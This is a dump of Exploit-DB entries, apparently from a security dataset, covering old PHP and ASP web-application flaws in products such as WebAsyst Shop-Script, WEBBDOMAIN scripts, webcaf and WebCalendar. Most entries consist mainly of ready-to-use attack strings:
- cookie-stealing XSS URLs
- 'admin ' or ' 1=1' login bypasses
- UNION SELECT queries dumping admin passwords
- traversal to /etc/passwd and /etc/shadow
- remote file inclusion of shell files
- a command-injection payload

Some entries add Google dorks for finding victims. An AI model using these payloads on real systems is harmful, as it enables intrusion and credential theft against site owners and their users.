deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35319
Description: WebAsyst Shop-Script - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2011-02-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46250/info

WebAsyst Shop-Script is prone to a cross-site-scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.


http://www.example.com/html/scripts/index.php?>[xss]

http://www.example.com/SC/html/scripts/index.php?did=22&login=1">[xss]&first_name=2"><script>alert(document.cookie)</script>&custgroupID=0&email=&last_name=&ActState=-1&search=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8&charset=cp1251&count_to_export=
Exploit-DB #34692
Description: WebAsyst Shop-Script PREMIUM - 'SearchString' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-27
Author: u.f.

Exploit:
source: https://www.securityfocus.com/bid/43380/info

Shop-Script PREMIUM is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Shop-Script PREMIUM is vulnerable; other versions may be affected. 

http://www.example.com/index.php?searchstring=1>&#039;><ScRiPt%20%0a%0d>alert[PII_REDACTED]37)%3B</ScRiPt>
Exploit-DB #3987
Description: Webavis 0.1.1 - 'class.php?root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-25
Author: ThE TiGeR

Exploit:
#Webavis Remote file inclusion (root)

#Download script : http://webavis.myreseau.org/src/webavis-0.1.1.tar.gz

#Thanks Str0ke :D

#Exploit :

#http://victim.com/webavis/class/class.php?root=shell.txt ?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail.com

# milw0rm.com [2007-05-25]
Exploit-DB #6983
Description: WEBBDOMAIN Petition 1.02/2.0/3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-04
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Petition Auth Bypass
# [~] Script :http://webbdomain.com/php/petition/petition.php
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/petition/admin/

Username : admin ' or ' 1=1
[CREDENTIAL_REDACTED]

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04]
Exploit-DB #6984
Description: WEBBDOMAIN Polls 1.01 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-04
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Poll Auth Bypass
# [~] Script :http://webbdomain.com/php/poll/poll.php
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/poll/admin

Username : admin ' or ' 1=1
[CREDENTIAL_REDACTED]

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04]
Exploit-DB #6977
Description: WEBBDOMAIN Post Card 1.02 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-04
Author: Hussin X

Exploit:
post Card ( catid )  Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://webbdomain.com/php/postcarden/index2.php
script    : http://webbdomain.com/php/postcardir/index2.php

DorK   : inurl:choosecard.php?catid=
_____

ExploiT & Demo
_______

post Card  v 1.01

http://webbdomain.com/php/postcarden/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


post Card  v 1.02
http://webbdomain.com/php/postcardir/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


Note : Exploit in Properties  Picture


Login :
______
/admin




Greetz : All my freind

 
  Im IraQi        |         Im TrYaGi

# milw0rm.com [2008-11-04]
Exploit-DB #6989
Description: WEBBDOMAIN Post Card 1.02 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-04
Author: x0r

Exploit:
-==============================-
 Autore: x0r - Road Crew 
Cms: WebbDomain Web Postcards
Bug: Auth ByPass 
Site Of Seller: http://webbdomain.com
 -==============================- 
Exploit: http://webbdomain.com/php/postcarden/admin

Username: admin ' or ' 1=1 
Pass: x0r 

Live Demo: http://webbdomain.com/php/postcarden/admin/admin.php
 
Greetz: La Mia Bimb4...8\10\08 Ti AmO 

# milw0rm.com [2008-11-04]
Exploit-DB #6985
Description: WEBBDOMAIN Quiz 1.02 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-04
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Quiz Auth Bypass
# [~] Script :http://webbdomain.com/php/quizen/
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/quizen/admin/

Username : admin ' or ' 1=1
[CREDENTIAL_REDACTED]

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04]
Exploit-DB #6986
Description: WEBBDOMAIN Webshop 1.02 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-04
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Webshop Auth Bypass All Version
# [~] Script :http://webbdomain.com/php/webshopir/~~All Version ~~
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/webshopir/admin V1.2
http://webbdomain.com/php/webshop/admin V 1.1

Username : admin ' or ' 1=1
[CREDENTIAL_REDACTED]

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04]
Exploit-DB #6974
Description: WEBBDOMAIN WebShop 1.02 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-04
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                            			IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Multi Languages WebShop Online (name:XSS|id:SQLi) Multiple Remote Vulnerabilities
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:         	Multi Languages WebShop Online
[~] Language :         	PHP
[~] Website[0]:     	http://webbdomain.com/php/webshopir/
[~] Website[1]:     	http://www.hotscripts.com/Detailed/84437.html
[~] Type :             	Commercial
[~] Report-Date :     	04/11/2008


--[ Founder ]--
G4N0K <mail.ganok[at]gmail.com>


--[ Exploit ]--
SQL => id
[+] http://localhost/[path]/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13'+UNION+ALL+SELECT+1,2,3,4,5,6,user(),8,9,10,11--
    http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13' UNION ALL SELECT 1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+FROM+admin--+AND+'GNK'='GNK

XSS => name
[+][0] http://localhost/[path]/detail.php?image=u0646ur0xm.gif&name=[XSS]&price=20&id=13
[+][1] http://localhost/[path]/detail.php?image=u0646ur0xm.gif&name=[XSS]



--[ L!ve ]--
[SQL] http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13'+UNION+ALL+SELECT+1,2,3,4,5,6,user(),8,9,10,11--
      http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13' UNION ALL SELECT 1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+FROM+admin--+AND+'GNK'='GNK
[XSS] http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k%22%3E%3Cscript%3Ealert(%27G4N0K%27)%3C/script%3E&price=20&id=13
[XSS] http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k%22%3E%3Cscript%3Ealert(%27G4N0K%27)%3C/script%3E


--[ Greetz ]--
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH, forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-04]
Exploit-DB #13750
Description: WebBiblio Subject Gateway System - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-06
Author: AntiSecurity

Exploit:
# Exploit Title:
WebBiblio Subject Gateway System Local File Inclusion Vulnerability

# Date:
June 06 2010

# Author:
AntiSecurity

# Software Link:
http://webbiblio.sourceforge.net/
http://sourceforge.net/projects/webbiblio/files/

# Version:
WebBiblio version 3.0

# Tested on:
Linux

# Target:
http://server/shared/help.php?page=../../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #6703
Description: WebBiscuits Modules Controller 1.1 - Remote File Inclusion / Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-10-08
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

WebBiscuits Modules Controller <= 1.1 (RFI/RFD) Multiple Remote Vulnerabilities
Script : http://webbiscuits.com/download/all11.zip
I- Remote File Inclusion Vulnerability
http://xx.com/adminhead.php?path[docroot]=020.txt
And More Files ....
II- Remote File Disclosure Vulnerability
http://xx.com/faqsupport/wce.download.php?download=../../../../../../../../../../../../../etc/passwd
   
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-08]
Exploit-DB #30378
Description: Webbler CMS 3.1.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-07-24
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/25040/info

The 'webbler' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect webbler 3.1.3; prior versions may also be affected. 

http://www.example.com/uploader/?page=<script>alert(document.cookie)</script>

curl -s "http://target-domain.com/uploader/?" -d "login=\"><script>alert(\"XSS\")</SCRIPT>&[CREDENTIAL_REDACTED]=Enter&forgotpassword="
Exploit-DB #30379
Description: Webbler CMS 3.1.3 - Mail A Friend Open Email Relay
Type: webapps
Platform: php
Date: 2007-07-24
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/25045/info

The 'webbler' is prone to an open-email-relay vulnerability.

An attacker may leverage the issue to use webservers that are hosting the vulnerable software to send arbitrary unsolicited bulk email. Attackers may also forge email messages that originate from trusted mail servers.

This issue affects webbler 3.1.3; prior versions may also be affected. 

 <form method="post" action="http://www.target-domain.com/?lid=12506">
        <input type="hidden" name="code" value="4672577a2d323">
        <input type="hidden" name="referral_uri" value="">
        <input type="hidden" name="document_title" value="">
        <input type="text" name="recipient" value="">
        <input type="text" name="username" value="">
        <input type="text" name="useremail" value="">
        <INPUT class="sendbutton" type=submit name=sa VALUE="send page">
        </form>
Exploit-DB #6303
Description: WebBoard 2.0 - Arbitrary SQL Question/Anwser Delete
Type: webapps
Platform: php
Date: 2008-08-25
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+	    WebBoard <= 2.0 Arbitrary SQL Question/Anwser Delete Vulnerability       +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 20 AUGUST 2008
[*] Script Download: N/A
[*] DORK (google): "and Powered By :Sansak"



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION/USAGE: 

	WebBoard suffers from remote vulnerabilitys, included in this writeup is a method to
	arbitrary delete the questions and anwsers from the board. its also possible to execute sql querys

	once you have found a vulnerable website (shouldnt be hard from 2k+ vuln sites) modify the url
	below to include the victim sites domain, and change the <NUM> tags to a valid question/anwser number
	execute the url, and the question and anwsers will be deleted.

	you can also use SQL injection in replace of the <NUM> tags use load_file() to view the config file
	for username and passwords.



[*] Vulnerability:

	http://site.com/webboard/admindel.php?action=delete&mode=question&qno=<NUM>&ano=<NUM>



[*] NOTE/TIP: 

	null



[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

	...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+	    WebBoard <= 2.0 Arbitrary SQL Question/Anwser Delete Vulnerability       +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-08-25]
Exploit-DB #3249
Description: WebBuilder 2.0 - 'StageLoader.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-01
Author: GoLd_M

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
WebBuilder <= 2.0 Remote File Include Vulnerability *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
URL: *
http://oss.backendmedia.com/snapshots/webbuilder2-2006-08-18.zip *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
V.CODE: In : /library/StageLoader.php *
require_once($GLOBALS['core']['module_path'].'/module_common.php'); *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit: *
http://victim.com/[path]/library/StageLoader.php?GLOBALS[core][module_path]=Evil.txt?  *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com     *
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2007-02-01]
Exploit-DB #7388
Description: webcaf 1.4 - Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2008-12-08
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #########################################################
 #  [ webcaf <= 1.4 ]  Multiple Remote Vulnerabilities   #
 #########################################################
 #
 # Script: "WebCAF is a web-based child and family database developed by Head Start of Lane County..."
 #
 # Script site: http://www.webcaf.org/
 # Download: http://www.webcaf.net/downloads/webcaf-1.4.tar.gz
 #
 # [Arbitrary File Delete Vulnerability]
 # Vuln: http://site.com/webcaf/index.php?user_uid=../../../../../../etc/shadow ;)
 #
 # Bug: ./webcaf/index.php (lines: 49-50 and 61-63) 
 #
 # ...
 #	// Login, if necessary
 #	if (!$user_uid) include("modules/login.php");
 # ... 	 
 #	if ($_REQUEST[op] != "update") {
 #		if (file_exists("local/tmp/.$user_uid")) unlink("local/tmp/.$user_uid");
 #	}
 # ... 	 
 #
 #
 # [LFI] 
 # Vuln: http://strcpy.pl/webcaf/webcaf/?user_uid=1&op=forms&form=../../../../../../../../../../../../etc/passwd
 #		 http://strcpy.pl/webcaf/webcaf/?user_uid=1&op=reports&report=../../../../../../../../../../../../etc/passwd
 #
 # Bug: ./webcaf/index.php (lines: 68-131) 
 #
 # ...
 # 	switch ($_REQUEST[op]) {
 # ...
 #	case "forms":
 #		$_REQUEST[form] ? include("local/forms/$_REQUEST[form]") : include("modules/forms.php");	//LFI
 #		break;
 # ...
 #  case "reports":
 #		$_REQUEST[report] ? include("local/reports/$_REQUEST[report]") : include("modules/reports.php");  	//LFI
 #		break;
 # ...
 #  }
 # ... 	 
 #
 # Vuln: http://strcpy.pl/webcaf/webcaf/modules/view.php?view=../../../../../../../../../../../etc/passwd%00
 #
 # Bug: ./webcaf/modules/view.php (lines: 12-21) 
 #
 # ...
 #	if ($_REQUEST[view]) {
 # ...
 #  		include("views/$_REQUEST[view].php");	//LFI
 #	}
 # ... 	 
 #
 #
 # [RCE]
 # Vuln: http://site.com/webcaf/about.php?_WEBCAF[db_database]=asfa%22;id%3E/tmp/aaa.txt;false%20%22
 #
 # Bug: ./webcaf/index.php (lines: 127) 
 #
 # ...
 # $str_result = system("$str_mysql --database=\"$_WEBCAF[db_database]\" --user=\"$_WEBCAF[db_username]\" --password=\"$_WEBCAF[db_password]\" --html --execute=\"status\"");
 # ... 	 
 #
 # and a lot of other bugz...
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-08]
Exploit-DB #8857
Description: WebCal - 'webCal3_detail.asp?event_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-02
Author: Bl@ckbe@rD

Exploit:
000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000


(
[+] Script               : WebCal       (latest version) 

[+] Exploit Type         : Remote sql injection exploit

[+] Google Dork          : inurl:/webCal3_detail.asp?event_id=

[+] Contact              : blackbeard-sql A.T hotmail.fr 

--//--> Exploit : 

Remote sql injection Exploit :

http://[website]/[script]/webCal3_detail.asp?event_id=20814+union+select+1,2,3,4,5,6,7,8,9,10+from+msysobjects

[peace xD]

# milw0rm.com [2009-06-02]
Exploit-DB #3492
Description: WebCalendar 0.9.45 - 'includedir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-15
Author: Drackanz

Exploit:
|-------------------------------------------------------------------------------|
| |
| WebCalendar v0.9.45 (13 Dec 2004) (login.php) Remote File include |
| |
| Script : WebCalendar |
| Version : v0.9.45 (13 Dec 2004) |
| Authord : Drackanz |
| Contact : Drackanz [at] gmail [] com |
| Vendor : http://www.k5n.us/webcalendar.php |
|-------------------------------------------------------------------------------|
| Bug in : |
| login.php |
| get_reminders.php |
| get_events.php |
|-------------------------------------------------------------------------------|
| EXPLOIT : |
| |
| http://localhost/[calendar]/ws/login.php?includedir=[evilscript] |
| http://localhost/[calendar]/ws/get_reminders.php?includedir=[evilscript] |
| http://localhost/[calendar]/ws/get_events.php?includedir=[evilscript] |
|-------------------------------------------------------------------------------|
| Greetz : Leo,hardose,s4mi,fucker_net,The Casper,Broken-Proxy,Simo64, |
| exe_crack,b0rizq,righterz,dragon,rachidox All Moroccan HackerX; |
| |
---------------------[ [Mor0ccan ISLAM Defenders Team] ]-------------------------

# milw0rm.com [2007-03-15]